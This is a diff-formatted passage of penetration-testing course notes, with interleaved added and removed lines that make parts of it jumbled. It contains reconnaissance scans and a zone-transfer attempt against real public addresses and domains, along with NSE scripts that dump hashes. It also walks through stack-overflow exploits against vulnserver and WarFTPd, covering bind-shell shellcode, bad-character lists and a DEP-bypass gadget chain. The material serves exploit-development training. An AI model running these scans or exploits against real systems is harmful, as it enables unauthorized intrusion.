493 | + | Create a step by step walk-through that details how to install and configure burp suite in Windows, and in Linux. |
494 | Team 1: Windows | |
495 | Team 2: Linux | |
496 | ||
497 | - | ############################### |
497 | + | |
498 | - | # How much fuzzing is enough? # |
498 | + | |
499 | - | ############################### |
499 | + | |
500 | Day 2 Homework: | |
501 | --------------- | |
502 | Here is a good reference of how to use Burp to look for OWASP Top 10 vulnerabilities: | |
503 | https://support.portswigger.net/customer/portal/articles/1969845-using-burp-to-test-for-the-owasp-top-ten | |
504 | ||
505 | ||
506 | Use Burp Suite to demonstrate with screenshots and explanations of how to test for the all of the OWASP Top 10 vulnerabilities against your choice of targets the following targets: | |
507 | Team 1: http://45.63.104.73/ | |
508 | Team 2: http://54.245.184.121/ | |
509 | ||
510 | ||
511 | ||
512 | --------------------------------------------------------------------------------------------------------- | |
513 | ||
514 | ||
515 | ||
516 | ||
517 | ||
518 | ||
519 | ||
520 | ######### | |
521 | # Day 3 # | |
522 | ######### | |
523 | ||
524 | yum -y update | |
525 | ||
526 | yum -y groupinstall 'Development Tools' | |
527 | ||
528 | yum -y install nmap bind-utils vim | |
529 | ||
530 | ||
531 | cd ~ | |
532 | ||
533 | mkdir toolz | |
534 | ||
535 | cd ~/toolz | |
536 | ||
537 | wget --no-check-certificate https://raw.githubusercontent.com/BenDrysdale/ipcrawl/master/ipcrawl.c | |
538 | ||
539 | gcc ipcrawl.c -o ipcrawl | |
540 | ||
541 | chmod 777 ipcrawl | |
542 | - | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
542 | + | |
543 | wget --no-check-certificate https://dl.packetstormsecurity.net/UNIX/scanners/propecia.c | |
544 | ||
545 | gcc propecia.c -o propecia | |
546 | ||
547 | chmod 777 propecia | |
548 | ||
549 | cp propecia /bin | |
550 | ||
551 | cd ~/toolz/ | |
552 | ||
553 | ./ipcrawl 148.87.1.1 148.87.1.254 | |
554 | ||
555 | nmap -sL 148.87.1.0-255 | |
556 | ||
557 | nmap -sL 148.87.1.0-255 | grep oracle | |
558 | ||
559 | dig axfr heartinternet.co.uk @ns.heartinternet.co.uk | |
560 | ||
561 | ||
562 | ||
563 | ################################################# | |
564 | # Screenshotting the Web Servers in the Network # | |
565 | ################################################# | |
566 | cd ~/toolz/ | |
567 | mkdir labscreenshots | |
568 | cd labscreenshots/ | |
569 | ||
570 | ||
571 | wget https://s3.amazonaws.com/infosecaddictsfiles/wkhtmltox-0.12.4_linux-generic-amd64.tar.xz | |
572 | tar xf wkhtmltox-0.12.4_linux-generic-amd64.tar.xz | |
573 | cd wkhtmltox/bin/ | |
574 | cp wkhtmltoimage /usr/local/bin/wkhtmltoimage-i386 | |
575 | ||
576 | ||
577 | cd ~/toolz/ | |
578 | git clone git://github.com/SpiderLabs/Nmap-Tools.git | |
579 | cd Nmap-Tools/NSE/ | |
580 | ||
581 | cp http-screenshot.nse /usr/share/nmap/scripts/ | |
582 | ||
583 | ||
584 | nmap --script-updatedb | |
585 | ||
586 | cd ~/toolz/ | |
587 | propecia 10.250.100 80 >> temp | |
588 | strings temp >> labnet-ip-list.txt | |
589 | ||
590 | cd ~/toolz/labscreenshots/ | |
591 | nmap -Pn -T 5 -p 80 -A --script=http-screenshot 10.250.100.0/24 -iL /root/toolz/labnet-ip-list.txt | |
592 | ||
593 | ||
594 | ||
595 | ||
596 | ----------------------------------------- | |
597 | vi screenshots.sh | |
598 | ||
599 | #!/bin/bash | |
600 | printf "<HTML><BODY><BR>" > labnet-port-80-screenshots.html | |
601 | ls -1 *.png | awk -F : '{ print $1":"$2"\n<BR><IMG SRC=\""$1"%3A"$2"\" width=400><BR><BR>"}' >> labnet-port-80-screenshots.html | |
602 | printf "</BODY></HTML>" >> labnet-port-80-screenshots.html | |
603 | ----------------------------------------- | |
604 | ||
605 | ||
606 | ||
607 | ||
608 | sh screenshots.sh | |
609 | ||
610 | ||
611 | ||
612 | python -m SimpleHTTPServer | |
613 | ||
614 | ||
615 | --- Now browse to the IP of your Linux machine on port 8000 (http://10.250.100.157:8000/labnet-port-80-screenshots.html): | |
616 | http://CentOS-VM-IP:8000/labnet-port-80-screenshots.html | |
617 | ||
618 | ||
619 | ########################## | |
620 | # Nmap NSE tricks to try # | |
621 | ########################## | |
622 | nmap -Pn -n --open -p21 --script=banner,ftp-anon,ftp-bounce,ftp-proftpd-backdoor,ftp-vsftpd-backdoor 10.250.100.0/24 | |
623 | ||
624 | /sbin/iptables -F | |
625 | nmap -Pn -n --open -p22 --script=sshv1,ssh2-enum-algos 10.250.100.0/24 | |
626 | ||
627 | ||
628 | nmap -Pn -n --open -p445 --script=msrpc-enum,smb-enum-domains,smb-enum-groups,smb-enum-processes,smb-enum-sessions,smb-enum-shares,smb-enum-users,smb-mbenum,smb-os-discovery,smb-security-mode,smb-server-stats,smb-system-info,smbv2-enabled,stuxnet-detect 10.250.100.0/24 | |
629 | ||
630 | ||
631 | nmap -Pn -n --open -p1433 --script=ms-sql-dump-hashes,ms-sql-empty-password,ms-sql-info 10.250.100.0/24 | |
632 | ||
633 | ||
634 | ||
635 | nmap -Pn -n --open -p3306 --script=mysql-databases,mysql-empty-password,mysql-info,mysql-users,mysql-variables 10.250.100.0/24 | |
636 | ||
637 | ||
638 | nmap -Pn -n --open -p3389 --script=rdp-vuln-ms12-020,rdp-enum-encryption 10.250.100.0/24 | |
639 | ||
640 | ||
641 | ||
642 | ||
643 | ||
644 | ##################################### | |
645 | # Writing Your Own Nmap NSE Scripts # | |
646 | ##################################### | |
647 | ||
648 | ||
649 | ---------------------------------------------------------------------- | |
650 | vi /usr/share/nmap/scripts/intro-nse.nse | |
651 | ||
652 | -- The Head Section -- | |
653 | -- The Rule Section -- | |
654 | portrule = function(host, port) | |
655 | return port.protocol == "tcp" | |
656 | and port.number == 80 | |
657 | and port.state == "open" | |
658 | end | |
659 | ||
660 | -- The Action Section -- | |
661 | action = function(host, port) | |
662 | return "Norway rocks!" | |
663 | end | |
664 | ---------------------------------------------------------------------- | |
665 | ||
666 | - Ok, now that we've made that change let's run the script | |
667 | nmap --script=/usr/share/nmap/scripts/intro-nse.nse .com -p 22,80,443 | |
668 | ||
669 | ||
670 | ||
671 | ||
672 | ||
673 | ||
674 | ---------------------------------------------------------------------- | |
675 | vi /usr/share/nmap/scripts/intro-nse.nse | |
676 | ||
677 | -- The Head Section -- | |
678 | local shortport = require "shortport" | |
679 | ||
680 | -- The Rule Section -- | |
681 | portrule = shortport.http | |
682 | ||
683 | ||
684 | -- The Action Section -- | |
685 | action = function(host, port) | |
686 | return "Norway rocks!" | |
687 | end | |
688 | ---------------------------------------------------------------------- | |
689 | ||
690 | - Ok, now that we've made that change let's run the script | |
691 | nmap --script=/usr/share/nmap/scripts/intro-nse.nse .com -p 22,80,443 | |
692 | ||
693 | ||
694 | ||
695 | ||
696 | ||
697 | ||
698 | ||
699 | OK, now let's have some fun with my buddy Carlos Perez's website which you should have been looking at quite a lot if you were trying to get Ruby 2.1.5 working last year. | |
700 | ||
701 | ---------------------------------------------------------------------- | |
702 | vi /usr/share/nmap/scripts/intro-nse.nse | |
703 | ||
704 | -- The Head Section -- | |
705 | local shortport = require "shortport" | |
706 | local http = require "http" | |
707 | ||
708 | -- The Rule Section -- | |
709 | portrule = shortport.http | |
710 | ||
711 | -- The Action Section -- | |
712 | action = function(host, port) | |
713 | ||
714 | local uri = "/installing-metasploit-in-ubunt/" | |
715 | local response = http.get(host, port, uri) | |
716 | return response.status | |
717 | ||
718 | end | |
719 | ---------------------------------------------------------------------- | |
720 | ||
721 | - Ok, now that we've made that change let's run the script | |
722 | nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443 | |
723 | ||
724 | ||
725 | ||
726 | ||
727 | ---------------------------------------------------------------------- | |
728 | vi /usr/share/nmap/scripts/intro-nse.nse | |
729 | ||
730 | -- The Head Section -- | |
731 | local shortport = require "shortport" | |
732 | local http = require "http" | |
733 | ||
734 | -- The Rule Section -- | |
735 | portrule = shortport.http | |
736 | ||
737 | -- The Action Section -- | |
738 | - | http://45.77.162.239/ |
738 | + | action = function(host, port) |
739 | ||
740 | - | Submit the results via email in an MS Word document with (naming convention example: YourFirstName-YourLastName-Burp-Suite-Bootcamp-Day1-Homework.docx) |
740 | + | local uri = "/installing-metasploit-in-ubunt/" |
741 | local response = http.get(host, port, uri) | |
742 | ||
743 | if ( response.status == 200 ) then | |
744 | - | ************************ Class Challenge ************************ |
744 | + | return response.body |
745 | end | |
746 | - | Let's see how you do with someone else's vulnerable website. Your 1st target is: http://zero.webappsecurity.com |
746 | + | |
747 | end | |
748 | - | Here are some sample web app penetration test reports from other companies that you can look at: |
748 | + | ---------------------------------------------------------------------- |
749 | ||
750 | - Ok, now that we've made that change let's run the script | |
751 | - | I want you to perform a penetration test against http://zero.webappsecurity.com and document the engagement as if it were a real project. |
751 | + | nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443 |
752 | ||
753 | ||
754 | - | ############################# |
754 | + | |
755 | - | # Tricky stuff to play with # |
755 | + | |
756 | - | ############################# |
756 | + | |
757 | ||
758 | ||
759 | ||
760 | ||
761 | ---------------------------------------------------------------------- | |
762 | - | ################### |
762 | + | vi /usr/share/nmap/scripts/intro-nse.nse |
763 | - | # Nikto with Burp # |
763 | + | |
764 | - | # in Linux # |
764 | + | -- The Head Section -- |
765 | - | ################### |
765 | + | local shortport = require "shortport" |
766 | local http = require "http" | |
767 | local string = require "string" | |
768 | ||
769 | - | rm -rf nikto* |
769 | + | -- The Rule Section -- |
770 | portrule = shortport.http | |
771 | - | git clone https://github.com/sullo/nikto.git Nikto2 |
771 | + | |
772 | -- The Action Section -- | |
773 | - | cd Nikto2/program |
773 | + | action = function(host, port) |
774 | ||
775 | - | perl nikto -h http://zero.webappsecurity.com -useproxy http://localhost:8080/ |
775 | + | local uri = "/installing-metasploit-in-ubunt/" |
776 | local response = http.get(host, port, uri) | |
777 | - | ----------------- |
777 | + | |
778 | - | Masking the Nikto header reference: |
778 | + | if ( response.status == 200 ) then |
779 | - | http://carnal0wnage.attackresearch.com/2009/09/btod-nikto-thru-burp-masking-nikto.html |
779 | + | local title = string.match(response.body, "Installing Metasploit in Ubuntu and Debian") |
780 | return title | |
781 | end | |
782 | ||
783 | end | |
784 | ---------------------------------------------------------------------- | |
785 | ||
786 | - Ok, now that we've made that change let's run the script | |
787 | nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443 | |
788 | ||
789 | ||
790 | ||
791 | ||
792 | ||
793 | ||
794 | ||
795 | ---------------------------------------------------------------------- | |
796 | vi /usr/share/nmap/scripts/intro-nse.nse | |
797 | ||
798 | -- The Head Section -- | |
799 | local shortport = require "shortport" | |
800 | local http = require "http" | |
801 | local string = require "string" | |
802 | ||
803 | -- The Rule Section -- | |
804 | portrule = shortport.http | |
805 | ||
806 | -- The Action Section -- | |
807 | action = function(host, port) | |
808 | ||
809 | local uri = "/installing-metasploit-in-ubunt/" | |
810 | local response = http.get(host, port, uri) | |
811 | ||
812 | if ( response.status == 200 ) then | |
813 | local title = string.match(response.body, "Installing Metasploit in Ubuntu and Debian") | |
814 | ||
815 | if (title) then | |
816 | return "Vulnerable" | |
817 | else | |
818 | return "Not Vulnerable" | |
819 | end | |
820 | end | |
821 | end | |
822 | ||
823 | ---------------------------------------------------------------------- | |
824 | ||
825 | - Ok, now that we've made that change let's run the script | |
826 | nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443 | |
827 | ||
828 | ||
829 | ######################## | |
830 | # Scanning Methodology # | |
831 | ######################## | |
832 | ||
833 | - Ping Sweep | |
834 | What's alive? | |
835 | ------------ | |
836 | sudo nmap -sP 157.166.226.* | |
837 | ||
838 | ||
839 | -if -SP yields no results try: | |
840 | sudo nmap -sL 157.166.226.* | |
841 | ||
842 | -Look for hostnames: | |
843 | sudo nmap -sL 157.166.226.* | grep com | |
844 | ||
845 | ||
846 | - Port Scan | |
847 | What's where? | |
848 | ------------ | |
849 | sudo nmap -sS 162.243.126.247 | |
850 | ||
851 | ||
852 | ||
853 | - Bannergrab/Version Query | |
854 | What versions of software are running | |
855 | ------------------------------------- | |
856 | sudo nmap -sV 162.243.126.247 | |
857 | ||
858 | ||
859 | ||
860 | - Vulnerability Research | |
861 | Lookup the banner versions for public exploits | |
862 | ---------------------------------------------- | |
863 | http://exploit-db.com | |
864 | http://securityfocus.com/bid | |
865 | https://packetstormsecurity.com/files/tags/exploit/ | |
866 | ||
867 | ||
868 | ##################################### | |
869 | # Quick Stack Based Buffer Overflow # | |
870 | ##################################### | |
871 | ||
872 | - You can download everything you need for this exercise (except netcat) from the link below | |
873 | https://s3.amazonaws.com/infosecaddictsfiles/ExploitLab.zip | |
874 | ||
875 | https://s3.amazonaws.com/infosecaddictsfiles/nc-password-is-netcat.zip | |
876 | - The password for the file is 'netcat' | |
877 | ||
878 | - Extract this zip file to your Desktop | |
879 | ||
880 | Open a command prompt | |
881 | ===================== | |
882 | ||
883 | Browse to the folder C:\Users\Student\Desktop\ExploitLab\1-Software-To-Install and install both Python and Nmap | |
884 | ||
885 | ||
886 | ||
887 | ||
888 | - Go to folder C:\Users\Student\Desktop\ExploitLab\2-VulnServer, and run vulnserv.exe | |
889 | ||
890 | - Open a new command prompt and type: | |
891 | ncat localhost 9999 | |
892 | ||
893 | - In the new command prompt window where you ran ncat type: | |
894 | HELP | |
895 | ||
896 | - Go to folder C:\Users\Student\Desktop\ExploitLab\4-AttackScripts | |
897 | - Right-click on 1-simplefuzzer.py and choose the option edit with notepad++ | |
898 | ||
899 | ||
900 | ||
901 | cd c:\Python27> | |
902 | ||
903 | c:\Python27>python.exe c:\Users\Student\Desktop\ExploitLab\4-AttackScripts\1-simplefuzzer.py | |
904 | - You'll notice that vulnserv.exe crashes. Be sure to note what command and the number of As it crashed on. | |
905 | ||
906 | ||
907 | - Restart vulnserv, and run 1-simplefuzzer.py again. Be sure to note what command and the number of As it crashed on. | |
908 | ||
909 | - Now go to folder C:\Users\Student\Desktop\ExploitLab\3-OllyDBG and start OllyDBG. Choose 'File' -> 'Attach' and attach to process vulnserv.exe | |
910 | ||
911 | - Go back to folder C:\Users\Student\Desktop\ExploitLab\4-AttackScripts and run 1-simplefuzzer.py. | |
912 | ||
913 | - Take note of the registers (EAX, ESP, EBP, EIP) that have been overwritten with As (41s). | |
914 | ||
915 | ||
916 | ||
917 | ||
918 | ||
919 | - Now isolate the crash by restarting your debugger and running script 2-3000chars.py | |
920 | ||
921 | cd c:\Python27> | |
922 | ||
923 | c:\Python27>python.exe c:\Users\Student\Desktop\ExploitLab\4-AttackScripts\2-3000chars.py | |
924 | ||
925 | ||
926 | ||
927 | ||
928 | ||
929 | - Calculate the distance to EIP by running script 3-3000chars.py | |
930 | - This script sends 3000 nonrepeating chars to vulserv.exe and populates EIP with the value: 396F4338 | |
931 | ||
932 | cd c:\Python27> | |
933 | ||
934 | c:\Python27>python.exe c:\Users\Student\Desktop\ExploitLab\4-AttackScripts\3-3000chars.py | |
935 | ||
936 | ||
937 | ||
938 | ||
939 | ||
940 | 4-count-chars-to-EIP.py | |
941 | - In the previous script we see that EIP is overwritten with 396F4338 is 8 (38), C (43), o (6F), 9 (39) | |
942 | - so we search for 8Co9 in the string of nonrepeating chars and count the distance to it | |
943 | ||
944 | cd c:\Python27> | |
945 | ||
946 | c:\Python27>python.exe c:\Users\Student\Desktop\ExploitLab\4-AttackScripts\4-count-chars-to-EIP.py | |
947 | ||
948 | ||
949 | ||
950 | 5-2006char-eip-check.py | |
951 | - In this script we check to see if our math is correct in our calculation of the distance to EIP by overwriting EIP with 42424242 | |
952 | ||
953 | cd c:\Python27> | |
954 | ||
955 | c:\Python27>python.exe c:\Users\Student\Desktop\ExploitLab\4-AttackScripts\5-2006char-eip-check.py | |
956 | ||
957 | ||
958 | ||
959 | 6-jmp-esp.py | |
960 | - In this script we overwrite EIP with a JMP ESP (6250AF11) inside of essfunc.dll | |
961 | ||
962 | cd c:\Python27> | |
963 | ||
964 | c:\Python27>python.exe c:\Users\Student\Desktop\ExploitLab\4-AttackScripts\6-jmp-esp.py | |
965 | ||
966 | ||
967 | ||
968 | 7-first-exploit | |
969 | - In this script we actually do the stack overflow and launch a bind shell on port 4444 | |
970 | ||
971 | cd c:\Python27> | |
972 | ||
973 | ||
974 | ||
975 | c:\Python27>python.exe c:\Users\Student\Desktop\ExploitLab\4-AttackScripts\7-first-exploit.py | |
976 | ||
977 | ||
978 | ||
979 | ||
980 | ||
981 | ######### | |
982 | # Day 4 # | |
983 | ######### | |
984 | Please download this file to your Windows host machine, and extract it to your Desktop. | |
985 | https://s3.amazonaws.com/infosecaddictsfiles/ED-Workshop-Files.zip | |
986 | ||
987 | ||
988 | ||
989 | ||
990 | ||
991 | ########################### | |
992 | # Lab 1a: Stack Overflows # | |
993 | ########################### | |
994 | ||
995 | ############################# | |
996 | # Start WarFTPd # | |
997 | # Start WinDBG # | |
998 | # Press F6 # | |
999 | # Attach to war-ftpd.exe # | |
1000 | ############################# | |
1001 | cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab1a | |
1002 | ||
1003 | ||
1004 | python warftpd1.py | nc XPSP3-ED-Target-IP 21 | |
1005 | ||
1006 | At WINDBG prompt | |
1007 | “r” to show registers or “alt+4” | |
1008 | ||
1009 | dd esp | |
1010 | ||
1011 | ||
1012 | python warftpd2.py | nc XPSP3-ED-Target-IP 21 | |
1013 | ||
1014 | ||
1015 | At WINDBG prompt | |
1016 | “r” to show registers or “alt+4” | |
1017 | dd esp | |
1018 | ||
1019 | Eip: 32714131 | |
1020 | esp: affd58 (71413471) | |
1021 | ||
1022 | Now we need to SSH into the StrategicSec Ubuntu host | |
1023 | ||
1024 | cd /home/strategicsec/toolz/metasploit/tools/exploit | |
1025 | ||
1026 | ruby pattern_offset.rb 32714131 | |
1027 | 485 | |
1028 | ||
1029 | ruby pattern_offset.rb 71413471 | |
1030 | 493 | |
1031 | ||
1032 | Distance to EIP is: 485 | |
1033 | Relative position of ESP is: 493 | |
1034 | ||
1035 | RET – POP EIP | |
1036 | RET 4 – POP EIP and shift ESP down by 4 bytes | |
1037 | ||
1038 | cd /home/strategicsec/toolz/metasploit/ | |
1039 | ./msfpescan -j ESP DLLs/xpsp3/shell32.dll | |
1040 | ||
1041 | 0x7c9c167d push esp; retn 0x304d | |
1042 | 0x7c9d30d7 jmp esp < - how about we use this one | |
1043 | 0x7c9d30eb jmp esp | |
1044 | 0x7c9d30ff jmp esp | |
1045 | ||
1046 | ||
1047 | warftpd3.py with Notepad++ | |
1048 | Fill in the appropriate values | |
1049 | Distance to EIP | |
1050 | Address of JMP ESP | |
1051 | ||
1052 | ||
1053 | ||
1054 | python warftpd3.py | nc XPSP3-ED-Target-IP 21 | |
1055 | ||
1056 | 0:003> dd eip | |
1057 | 0:003> dd esp | |
1058 | ||
1059 | ||
1060 | ||
1061 | ||
1062 | ||
1063 | Mention bad characters | |
1064 | No debugger | |
1065 | ||
1066 | ||
1067 | ||
1068 | python warftpd4.py | nc XPSP3-ED-Target-IP 21 | |
1069 | ||
1070 | nc XPSP3-ED-Target-IP 4444 | |
1071 | ||
1072 | ||
1073 | ||
1074 | ------------------------------------------------------------- | |
1075 | ||
1076 | There are 2 things that can go wrong with shellcode. The first thing is a lack of space, and the second is bad characters. | |
1077 | ||
1078 | Shellcode test 1: Calculate space for shellcode | |
1079 | Look in the warftpd3.py script for the shellcode variable. Change the length of the shellcode being send to test how much you can send before the CCs truncate. | |
1080 | ||
1081 | ||
1082 | ||
1083 | ||
1084 | ||
1085 | Shellcode test 2: Identify bad characters | |
1086 | ||
1087 | Replace the INT3 (cc) dummy shellcode with this string: | |
1088 | "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" | |
1089 | ||
1090 | ||
1091 | Send this new shellcode string and identify the places where it truncates - these are the bad characters | |
1092 | ||
1093 | ||
1094 | ||
1095 | ||
1096 | Here is what the string looks like after I manually tested and removed each of the bad characters: | |
1097 | shellcode = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" | |
1098 | ||
1099 | ||
1100 | ||
1101 | ||
1102 | ./msfvenom -p windows/shell/bind_tcp -f python -b '\x00\x0a\x0d\x40' | |
1103 | ||
1104 | ||
1105 | ||
1106 | ||
1107 | ||
1108 | ########################################### | |
1109 | # Lab 1b: Stack Overflows with DEP Bypass # | |
1110 | ########################################### | |
1111 | ||
1112 | Reboot your target host and choose the "2nd" option for DEP. | |
1113 | ||
1114 | ||
1115 | cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab1b | |
1116 | ||
1117 | ||
1118 | ||
1119 | python warftpd1.py | nc XPSP3-ED-Target-IP 21 | |
1120 | ||
1121 | At WINDBG prompt | |
1122 | “r” to show registers or “alt+4” | |
1123 | ||
1124 | dd esp | |
1125 | ||
1126 | ||
1127 | ||
1128 | ||
1129 | python warftpd2.py | nc XPSP3-ED-Target-IP 21 | |
1130 | ||
1131 | ||
1132 | At WINDBG prompt | |
1133 | “r” to show registers or “alt+4” | |
1134 | dd esp | |
1135 | ||
1136 | Eip: 32714131 | |
1137 | esp: affd58 (71413471) | |
1138 | ||
1139 | Now we need to SSH into the StrategicSec Ubuntu host | |
1140 | ||
1141 | cd /home/strategicsec/toolz/metasploit/tools/exploit | |
1142 | ||
1143 | ruby pattern_offset.rb 32714131 | |
1144 | 485 | |
1145 | ||
1146 | ruby pattern_offset.rb 71413471 | |
1147 | 493 | |
1148 | ||
1149 | ||
1150 | ||
1151 | ||
1152 | ||
1153 | ||
1154 | ||
1155 | ||
1156 | cd /home/strategicsec/toolz/metasploit/tools/exploit | |
1157 | ||
1158 | ruby pattern_offset.rb 32714131 | |
1159 | ||
1160 | cd /home/strategicsec/toolz/metasploit/ | |
1161 | ||
1162 | ./msfpescan -j ESP DLLs/xpsp3/shell32.dll | grep 0x7c9d30d7 | |
1163 | ||
1164 | ||
1165 | ||
1166 | python warftpd3.py | nc XPSP3-ED-Target-IP 21 | |
1167 | ||
1168 | 0:003> dd eip | |
1169 | 0:003> dd esp | |
1170 | ||
1171 | INT3s - GOOD!!!!!!! | |
1172 | ||
1173 | ||
1174 | ||
1175 | python warftpd4.py | nc XPSP3-ED-Target-IP 21 | |
1176 | ||
1177 | nc XPSP3-ED-Target-IP 4444 | |
1178 | ||
1179 | ||
1180 | strategicsec....exploit no workie!!!! | |
1181 | ||
1182 | ||
1183 | Why????????? DEP!!!!!!!!!!!!! | |
1184 | ||
1185 | ||
1186 | ||
1187 | ||
1188 | Let's look through ole32.dll for the following instructions: | |
1189 | ||
1190 | mov al,0x1 | |
1191 | ret 0x4 | |
1192 | ||
1193 | We need to set al to 0x1 for the LdrpCheckNXCompatibility routine. | |
1194 | ||
1195 | ||
1196 | ||
1197 | ./msfpescan -D -r "\xB0\x01\xC2\x04" DLLs/xpsp3/ole32.dll | |
1198 | ||
1199 | [DLLs/xpsp3/ole32.dll] | |
1200 | 0x775ee00e b001c204 | |
1201 | 0x775ee00e mov al, 1 | |
1202 | 0x775ee010 ret 4 | |
1203 | ||
1204 | ||
1205 | Then we need to jump to the LdrpCheckNXCompatibility routine in | |
1206 | ntdll.dll that disables DEP. | |
1207 | ||
1208 | ||
1209 | ||
1210 | Inside of ntdll.dll we need to find the following instructions: | |
1211 | ||
1212 | CMP AL,1 | |
1213 | PUSH 2 | |
1214 | POP ESI | |
1215 | JE ntdll.7 | |
1216 | ||
1217 | ||
1218 | ||
1219 | ./msfpescan -D -r "\x3C\x01\x6A\x02\x5E\x0F\x84" DLLs/xpsp3/ntdll.dll | |
1220 | ||
1221 | [DLLs/xpsp3/ntdll.dll] | |
1222 | 0x7c91cd24 3c016a025e0f84 | |
1223 | 0x7c91cd24 cmp al, 1 | |
1224 | 0x7c91cd26 push 2 | |
1225 | 0x7c91cd28 pop esi | |
1226 | 0x7c91cd29 jz 7 | |
1227 | ||
1228 | ||
1229 | This set of instructions makes sure that AL is set to 1, 2 is pushed | |
1230 | on the stack then popped into ESI. | |
1231 | ||
1232 | ||
1233 | ||
1234 | ||
1235 | ||
1236 | dep = "\x0e\xe0\x5e\x77"+\ | |
1237 | "\xff\xff\xff\xff"+\ | |
1238 | "\x24\xcd\x91\x7c"+\ | |
1239 | "\xff\xff\xff\xff"+\ | |
1240 | "A"*0x54 | |
1241 | ||
1242 | ||
1243 | ||
1244 | ############################# | |
1245 | # Start WarFTPd # | |
1246 | # Start WinDBG # | |
1247 | # Press F6 # | |
1248 | # Attach to war-ftpd.exe # | |
1249 | # bp 0x775ee00e # | |
1250 | # g # | |
1251 | ############################# | |
1252 | ||
1253 | ||
1254 | ||
1255 | ||
1256 | python warftpd5.py | nc XPSP3-ED-Target-IP 21 | |
1257 | ||
1258 | --------------------------------------------------------------------------- | |
1259 | We need to set al to 0x1 for the LdrpCheckNXCompatibility routine. | |
1260 | ||
1261 | mov al,0x1 | |
1262 | ret 0x4 | |
1263 | ||
1264 | ||
1265 | ||
1266 | ||
1267 | 0:005> g | |
1268 | Breakpoint 0 hit | |
1269 | eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58 | |
1270 | eip=775ee00e esp=00affd58 ebp=00affdb0 iopl=0 nv up ei pl nz ac pe nc | |
1271 | cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216 | |
1272 | ole32!CSSMappedStream::IsWriteable: | |
1273 | 775ee00e b001 mov al,1 | |
1274 | ||
1275 | ||
1276 | 0:001> t | |
1277 | eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58 | |
1278 | eip=775ee010 esp=00affd58 ebp=00affdb0 iopl=0 nv up ei pl nz ac pe nc | |
